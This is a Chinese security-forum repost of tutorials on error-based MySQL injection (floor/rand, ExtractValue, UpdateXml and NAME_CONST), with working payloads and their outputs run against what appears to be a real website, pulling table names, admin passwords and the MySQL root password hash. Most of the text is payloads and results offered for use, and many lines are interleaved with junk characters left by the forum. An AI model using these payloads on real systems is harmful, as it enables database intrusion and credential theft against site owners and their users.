找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3606|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
6 N7 A: f+ O; J首先进行正常查询:

mysql> select * from article where id = 1;
4 F& o( v5 s8 K: i) q! R+—-+——-+———+
8 q% D$ ^) h/ |( d3 `| id | title | content |
# E0 [1 K) `3 x0 K+—-+——-+———+
! v+ ?- y9 C' @% ?4 F1 I( I; C|  1 | test  | do it   |
) G  K$ @9 o, L# c* E+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
+ }9 L$ k9 ^1 M* K+ H% x: ?6 O5 zERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
4 @/ c& L& c0 u9 B7 c例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);) O! V; e, q; X# H& o* @
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
  v& v  V  [4 x+ SERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue5 x  s4 Q$ ~( b2 P! j
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–) C3 D: n) `0 [
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


4 R/ q9 v+ h* Z4 L/ |# d! y: q2 f
3 e- E0 E# F( Q. K

再收集:

6 x1 `' m8 p+ @+ o) v8 K: z
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) ; K+ k' Z% K' `8 b- }) ?( x

- }- r) p; k5 N5 V- Y, bErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’0 R( V1 }3 R6 p
. K" \* t+ D. |
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)+ K6 u/ n; s5 r- a
' @% a0 }" q0 f. ^
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
- [8 ]% g3 x1 r4 o  u4 i) u/ `8 `3 s" V4 G2 S
MYSQL高版本报错注入技巧-利用NAME_CONST注入
1 T" [# ]- ?2 \% x% V6 [' o* ^It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. ( X* g! C$ x4 r- z3 X

* ^1 z- Y1 p; L% h3 t
* F+ ]# a* N+ k$ i相关信息
+ J5 U9 a2 ?* @$ Y3 t; J  b& V. J
  ]: u) q$ L7 y' n* ]NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
  E. e8 j+ ~& x( A5 A& d0 u! q4 [+ A4 L8 h3 s) N" E
Code:
( S5 J$ W4 a5 s% oNAME_CONST(DATA, VALUE)
7 e% @' p+ v+ E- D# `* m. N
) U2 }6 T( M1 y& Q4 \Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
7 M; B; e3 i" L, r; H* e1 _9 c; X9 e0 B% Z2 P3 _( v  K1 _; o4 J
SELECT NAME_CONST('TEST', 1)& ^, B& A, `# L2 t9 o& h+ `+ k

5 o. `) Z  s6 Q8 D- U& L
! _6 g- {/ k: H5 ~; x8 i
" Z, Q$ |$ S( `: [/ B6 x|---------------|
' o+ N" K) d6 U4 z$ X5 @|     TEST      |9 a; J5 b$ V# H9 P$ z. Y
|               |
* K" O: `* ?6 V) b; y2 C* j" e1 s|---------------|
5 r* T! B, d3 s0 O|       1       |, v1 y) N" A3 r! H% E6 A% F
|               |( P& L* a* t. W
|---------------|
- \7 h* y/ V) i: \' A& ^

6 I7 j: z+ q6 q6 q
0 |6 V+ k. W4 T0 \  f0 V1 W6 k3 x1 n/ M2 U- F! {

6 |$ l0 N; M$ ~) E. n5 Khttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
2 f* l5 K8 L5 N  |, P; a' j9 cIntro to MySQL Variables( h# b5 ]( U+ _. E- b$ K8 j
1 _0 s" a' ]" L, ~
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
+ a5 g8 Q7 o$ X" H+ X/ C; Q) J& ~: d1 E. n
Code:
* s9 t3 ~% r! Khttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2610 l2 P6 K7 g; g" ]3 \! M: v* y; ]

( R, p4 ], W+ Y0 w3 G5 S
& J# |, A" |6 O6 x/ q  v6 U
- {! n5 Z  n, ^$ H9 I+ T- f! s% X

* q7 f" K  h2 L* Z- q: f
- o0 E' t2 q# p: l" |% JCode:
1 j+ `- w" E/ D+ L- D! Gand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
9 R# k( k5 a% [1 k7 o+ l9 G( b

" H( s% V+ p. A  y  T; P% e% y8 f. c3 o+ o
VAR = Your MySQL variable.
5 A8 z3 ^- e# m% s, ]
( \) R6 y! D% N4 FMySQL 5.1.3 Server System Variables
4 k- o1 z. Q  A9 c. w8 E7 m3 y. A! ?8 O: O$ ^9 ^% E0 O
Let's try it out on my site..
' I; V- d' _7 ]6 n0 R% B+ u; ]- T; ]
Code:
4 I) T; }+ A, C" N2 `  n- m+ Yhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--' k. L8 ]8 b) R" V$ j% e

2 G+ [" q. u( bErroruplicate column name '5.0.27-community-nt'
1 m# y# O7 }5 Z7 {; a# @  u
. m3 l/ y$ q# b' d2 c

3 z3 ]; Z2 t; q7 @
- u. X1 H0 k% @9 X, J3 C( a1 L

0 M3 y+ u* ~& C& ~5 ?0 {& Q' S7 e- c( t
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again..." l7 v! M- D3 d# V/ \
. I: c2 r% L% t: t
Data Extraction
" k2 \4 a% B  v1 S+ N2 f$ N8 J+ ~/ A4 x6 R; Q
Code:, q8 U2 I! t8 Z1 P- t9 Q6 E
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
4 O- P3 @9 w  y# ^

3 d; h+ @4 N3 E7 ^, u
- {6 |3 G5 H! Q0 x3 WWe should get a duplicate column 1 error...
8 F3 K! I6 m+ O% q0 @
; C0 E7 o% M+ C# y1 x, |% ^Code:/ S: n: m; |. W( \7 b6 s& A
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
5 N; A# ?" e& H; \7 U7 M  T% a
) L. i* N* {. Y( z' B' ~/ \7 VErroruplicate column name '1# J6 Y8 s+ O) I; a" g: V

* k& h, M1 ?" v5 ~. y" l0 q  ~! ~7 i, }, B& G* m) @0 g7 }. `4 `- |  Q

2 F; h. p% Z* P
" q& t4 P- R& F' S( d# S7 z/ S
; u8 d. d; B2 k, s

, E( P- R! M/ _# L# Y. [Now let's get the tables out this bitch..
2 Z0 t+ j  k# M! ^: _% ?; ]0 X5 D# N3 ~0 ~; ^, A4 y
Code:0 Y0 [7 D+ X" x8 S  i4 o
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
9 \/ D  L+ q( n2 s% z5 f
0 p% O0 s* ?9 m5 H
" M4 n; h! I0 i2 a7 z9 D6 G4 J
Let's see if it works here, if it does, we can go on and finish the job." Y1 w) g8 c, b2 R3 K

( b6 p! w' n( E6 [2 M  X; ], W) [5 A' XCode:0 g0 M+ {9 r' Z- b
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 J1 k- K5 q3 \( R
# J5 G1 K& X, g  A7 R, o
& g2 V% |4 M. w. j% TErroruplicate column name 'com_admanage
( ^4 h. E1 G' y
. U3 H& M9 V* M$ x
; ]  u" S$ o" |; C5 U9 i

  ?5 j% Q1 E; B
6 |0 c  e, P4 N/ T- J& e
# o# G  F+ x: y1 t2 s: ?( \1 N
6 Y* c  m: N, y
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.7 S& `9 ~1 \/ w: b1 j7 \
4 x* i0 k# \$ A7 ~
Let's get the columns out of the user table..5 V; q" ?- ]  J# r

- b3 i# ]2 E' mCode:! Q% z( Y( B3 G1 D' n9 l, f
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--( e% ^. c# _. [
! }- g5 {- Q# Z# f

$ r; ~: p6 I: l  \- u& i  N) nSo mine looks like this, and I get the duplicate column name 'Host'.
* Z/ g3 q7 u/ W  I
2 t! s3 m- a- t% pCode:
9 _% N1 F/ C( }% `- c$ ]http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--" e: u5 W2 W. d6 p2 y
2 p" u, o. p2 A$ E5 Y% B
Erroruplicate column name 'Host'
6 J# {+ ?% b& l9 n

$ F; O' F+ f! {. s: f
5 ]7 d7 i8 R: \9 ]1 D* `2 W* s  B5 s
8 x6 D4 ^' j; C+ E/ c  T: A0 N9 ~

+ q7 f" ]8 k0 F) J: t4 i  L% X: d% r- s# y( \6 I2 U9 A& @
Woot, time to finish this bitch off.
1 t) _3 V8 O3 [1 U; r0 i8 l" a- n, g8 W" w" b. R, T" v
Code:
3 R& t9 s6 R: ]* q- {! F* L; m7 a; [+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--' d8 z! B. a# [7 \

% ?  D0 |% ]" J+ p0 r1 F6 z. a. M- n) T6 G2 d
So mine looks like this...
  Y! a/ }1 W3 X- ~# I
7 Y1 F. L% C1 _/ U4 MCode:# l) [- r$ N9 w, ^; z4 w
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--" A9 f) C: V6 F

5 B! ]6 n" g$ GErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'+ _+ ^  d- ?  o# O4 a

7 f, b7 i# E; t0 u* _
' T8 q- m* t& g3 G
. G/ W8 S; u1 t4 k5 }% D; y; ^' N
# ], b; R; u  g# a+ y7 k- m* h  t
, a; U1 w# C- v: U8 L
And there we have it, thanks for reading.

# }+ _' Q7 U( }# x9 |( M' Q6 x: ?5 P+ W! b: h1 K3 E1 `) D9 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表